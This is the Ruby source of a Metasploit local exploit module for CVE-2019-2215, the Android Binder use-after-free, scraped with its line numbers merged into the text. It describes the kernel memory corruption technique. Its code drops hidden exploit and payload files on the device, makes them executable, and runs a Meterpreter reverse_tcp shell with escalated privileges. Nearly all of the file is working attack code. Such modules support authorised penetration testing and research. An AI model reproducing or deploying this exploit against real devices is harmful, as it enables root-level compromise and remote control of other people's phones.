Path: blob/master/modules/exploits/android/local/binder_uaf.rb
19566 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Post::Common10include Msf::Exploit::EXE11include Msf::Exploit::FileDropper1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Android Binder Use-After-Free Exploit',18'Description' => %q{19This module exploits CVE-2019-2215, which is a use-after-free in Binder in the20Android kernel. The bug is a local privilege escalation vulnerability that21allows for a full compromise of a vulnerable device. If chained with a browser22renderer exploit, this bug could fully compromise a device through a malicious23website.24The freed memory is replaced with an iovec structure in order to leak a pointer25to the task_struct. Finally the bug is triggered again in order to overwrite26the addr_limit, making all memory (including kernel memory) accessible as part27of the user-space memory range in our process and allowing arbitrary reading28and writing of kernel memory.29},30'License' => MSF_LICENSE,31'Author' => [32'Jann Horn', # discovery and exploit33'Maddie Stone', # discovery and exploit34'grant-h', # Qu1ckR00t35'timwr', # metasploit module36],37'References' => [38[ 'CVE', '2019-2215' ],39[ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1942' ],40[ 'URL', 'https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html' ],41[ 'URL', 'https://hernan.de/blog/2019/10/15/tailoring-cve-2019-2215-to-achieve-root/' ],42[ 'URL', 'https://github.com/grant-h/qu1ckr00t/blob/master/native/poc.c' ],43],44'DisclosureDate' => '2019-09-26',45'SessionTypes' => [ 'meterpreter' ],46'Platform' => [ 'android', 'linux' ],47'Arch' => [ ARCH_AARCH64 ],48'Targets' => [[ 'Auto', {} ]],49'DefaultOptions' => {50'PAYLOAD' => 'linux/aarch64/meterpreter/reverse_tcp',51'WfsDelay' => 552},53'DefaultTarget' => 0,54'Compat' => {55'Meterpreter' => {56'Commands' => %w[57stdapi_fs_getwd58]59}60},61'Notes' => {62'SideEffects' => [ ARTIFACTS_ON_DISK ],63'Reliability' => [ UNRELIABLE_SESSION ],64'Stability' => [ CRASH_SAFE ]65}66)67)68end6970def upload_and_chmodx(path, data)71write_file(path, data)72chmod(path)73register_file_for_cleanup(path)74end7576def exploit77local_file = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2019-2215', 'exploit')78exploit_data = File.read(local_file, mode: 'rb')7980workingdir = session.fs.dir.getwd81exploit_file = "#{workingdir}/.#{Rex::Text.rand_text_alpha_lower(5)}"82upload_and_chmodx(exploit_file, exploit_data)83payload_file = "#{workingdir}/.#{Rex::Text.rand_text_alpha_lower(5)}"84upload_and_chmodx(payload_file, generate_payload_exe)8586print_status("Executing exploit '#{exploit_file}'")87result = cmd_exec("echo '#{payload_file} &' | #{exploit_file}")88print_status("Exploit result:\n#{result}")89end90end919293